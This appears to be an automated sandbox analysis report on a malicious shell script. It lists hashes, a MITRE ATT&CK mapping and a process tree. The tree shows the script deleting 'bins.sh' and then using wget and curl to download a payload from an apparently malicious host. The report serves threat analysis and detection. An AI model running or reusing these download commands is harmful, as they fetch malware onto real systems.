fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643

Analysis

max time kernel
148s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25-11-2024 03:12

Target

fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
Size

10KB
MD5

6c09eb71153401505db1f0137c0ce2f0
SHA1

848f84c042cbff06e65bec859294eb9a4e9189e5
SHA256

fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643
SHA512

5f655607a73c92ca62488108d9f97a1ef1ccdad5a30011bcc58bb49f4f79baa455dc763ff692713680849ed9c07e4d6d9d4a660d7dd29fafb4d111b0e2f83c9f
SSDEEP

192:LAhAUhRUWMX7CXxFfjOFlN6iZmfjOFlSAUhRUWi:LAhAUhWWM+Xxo6DAUhWWi

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

1515 wget
1519 curl

pid	process
1515	wget
1519	curl

/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
1⤵
PID:1513
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - System Network Configuration Discovery
  PID:1515
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
  2⤵
  - System Network Configuration Discovery
  PID:1519

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact